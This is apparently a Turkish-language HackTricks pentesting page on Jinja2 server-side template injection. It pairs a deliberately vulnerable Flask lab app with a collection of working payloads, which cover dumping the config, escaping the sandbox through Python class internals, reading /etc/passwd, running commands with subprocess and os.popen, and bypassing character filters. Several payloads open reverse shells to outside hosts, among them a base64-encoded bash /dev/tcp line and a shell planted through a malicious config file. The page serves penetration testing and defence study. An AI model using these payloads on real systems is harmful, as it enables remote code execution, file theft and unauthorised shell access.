hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

292 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Jinja2 SSTI
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni alın (https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonumuzu keşfedin (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
## **Lab**
```python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
```
### **Hata Ayıklama İfadesi**
Eğer Hata Ayıklama Eklentisi etkinse, mevcut bağlamı ve mevcut filtreleri ve testleri görüntülemek için bir `debug` etiketi kullanılabilir hale gelir. Bu, bir hata ayırıcı kurmadan şablon içinde kullanılabilir olanları görmek için faydalıdır.
```python
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
```
### **Tüm yapılandırma değişkenlerini dök**
```python
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
```
## **Jinja Enjeksiyonu**
İlk olarak, bir Jinja enjeksiyonunda **kum havuzundan kaçmak ve düzenli python yürütme akışına erişimi geri kazanmak** gerekmektedir. Bunu yapabilmek için, **kum havuzundan erişilebilen nesneleri kötüye kullanmanız gerekmektedir** ki bunlar **kum havuzundan olmayan ortamdan gelmektedir**.
### Global Nesnelere Erişim
Örneğin, `render_template("hello.html", username=username, email=email)` kodunda username ve email nesneleri **kum havuzundan olmayan python ortamından gelir ve kum havuzunda erişilebilir olacaktır.**\
Ayrıca, kum havuzundan **her zaman erişilebilir olan diğer nesneler** de bulunmaktadır:
```
[]
''
()
dict
config
request
```
### \<class 'object'> Kurtarma
Ardından, bu nesnelerden sınıfa ulaşmamız gerekiyor: **`<class 'object'>`** tanımlı **sınıfları kurtarmak** için. Bu, bu nesneden **`__subclasses__`** yöntemini çağırabilir ve **sandbox dışı** python ortamından tüm sınıflara **erişebiliriz**.
Bu **nesne sınıfına** erişmek için bir **sınıf nesnesine** erişmeniz ve ardından **`__base__`**, **`__mro__()[-1]`** veya `.`**`mro()[-1]`**'e erişmeniz gerekir. Ve sonra, bu **nesne sınıfına** ulaştıktan **sonra** **`__subclasses__()`** yöntemini **çağırırız**.
Bu örnekleri kontrol edin:
```python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE Kaçışı
**'<class 'object'>'**'ı kurtardıktan ve `__subclasses__`'ı çağırdıktan sonra bu sınıfları kullanarak dosya okuma, yazma ve kod yürütme işlemlerini gerçekleştirebiliriz.
`__subclasses__`'a yapılan çağrı bize **yüzlerce yeni işlevi erişme fırsatı verdi**, sadece **dosya sınıfına erişerek** dosya **okuma/yazma** veya `os` gibi **komutları yürütmeye izin veren bir sınıfa erişmekle** mutlu olacağız.
**Uzak dosya okuma/yazma**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**Uzaktan Kod Çalıştırma (RCE)**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
```
**Daha fazla sınıf** hakkında bilgi edinmek için **kaçış** yapabileceğiniz **daha fazla sınıfı kontrol edebilirsiniz**:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### Filtre kaçakları
#### Yaygın kaçaklar
Bu kaçaklar, bazı karakterleri kullanmadan nesnelerin **özelliklerine erişmemizi sağlayacaktır**.\
Bu kaçakları zaten önceki örneklerde gördük, ancak burada onları özetleyelim:
```bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
```
* [**Daha fazla seçenek için buraya dönün ve global bir nesneye erişin**](jinja2-ssti.md#accessing-global-objects)
* [**Nesne sınıfına erişmek için daha fazla seçenek için buraya dönün**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**Nesne sınıfı olmadan RCE elde etmek için bunu okuyun**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**HTML kodlamasından kaçınma**
Varsayılan olarak Flask, güvenlik nedenleriyle şablon içindeki tüm içeriği HTML kodlar:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**`safe`** filtresi, sayfaya JavaScript ve HTML enjekte etmemize olanak tanırken bunların **HTML kodlanmadan** eklenmesini sağlar, örneğin:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**Kötü niyetli bir yapılandırma dosyası yazarak Uzaktan Kod Çalıştırma (RCE).**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## Birkaç karakter olmadan
**`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
```
## **\<class 'object'>** Olmadan Jinja Enjeksiyonu
[**global objects**](jinja2-ssti.md#accessing-global-objects) bölümünden, **bu sınıfı kullanmadan RCE'ye ulaşmanın** başka bir yolu var.\
Eğer bu global objelerden herhangi bir **fonksiyona** ulaşmayı başarırsanız, **`__globals__.__builtins__`**'e erişebilecek ve buradan **RCE**'ye çok **kolayca** ulaşabileceksiniz.
**`request`**, **`config`** ve erişiminiz olan diğer ilginç **global objeler** üzerinden **fonksiyonları bulabilirsiniz**:
```bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
```
Birkaç işlev bulduktan sonra builtins'i şu şekilde kurtarabilirsiniz:
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
```
## Referanslar
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3) kontrol edin.
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>